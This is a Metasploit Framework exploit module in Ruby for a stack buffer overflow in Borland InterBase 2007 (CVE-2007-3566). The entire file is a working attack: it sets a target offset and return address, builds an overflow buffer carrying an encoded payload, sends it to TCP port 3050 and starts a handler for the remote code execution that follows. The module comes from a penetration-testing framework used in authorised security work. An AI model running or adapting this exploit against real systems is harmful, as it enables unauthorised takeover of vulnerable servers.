Metasploit Framework

##

# $Id$

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

        Rank = AverageRanking

        include Msf::Exploit::Remote::Tcp

        def initialize(info = {})

                super(update_info(info,

                        'Name'           => 'Borland Interbase Create-Request Buffer Overflow',

                        'Description'    => %q{

                                        This module exploits a stack buffer overflow in Borland Interbase 2007.

                                By sending a specially crafted create-request packet, a remote

                                attacker may be able to execute arbitrary code.

                        },

                        'Author'         => 'MC',

                        'Version'        => '$Revision$',

                        'References'     =>

                                [

                                        [ 'CVE', '2007-3566' ],

                                        [ 'OSVDB', '38602' ],

                                        [ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-07-13' ],

                                ],

                        'DefaultOptions' =>

                                {

                                        'EXITFUNC' => 'thread',

                                },

                        'Payload'        =>

                                {

                                        'Space'    => 850,

                                        'BadChars' => "\x00",

                                        'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",

                                        'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,

                                },

                        'Platform'       => 'win',

                        'Targets'        =>

                                [

                                        [ 'Windows 2000 English All / Borland InterBase 2007',     { 'Offset' => 1266, 'Ret' => 0x1002e556 } ], # sanctuarylib.dll

                                ],

                        'Privileged'     => true,

                        'DefaultTarget'  => 0,

                        'DisclosureDate' => 'Jul 24 2007'))

                register_options([Opt::RPORT(3050)], self.class)

        end

        def exploit

                connect

                # Build the exploit buffer.... It's a biggie!

                sploit =  "\x00\x00\x00\x14" + "\x00\x00\x00\x13" + rand_text_alpha_upper(target['Offset'])

                sploit << payload.encoded + Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2)

                sploit << [target.ret].pack('V') + [0xe8, -850].pack('CV') + rand_text_alpha_upper(40000)

                print_status("Trying target #{target.name}...")

                sock.put(sploit)

                handler

                disconnect

        end

end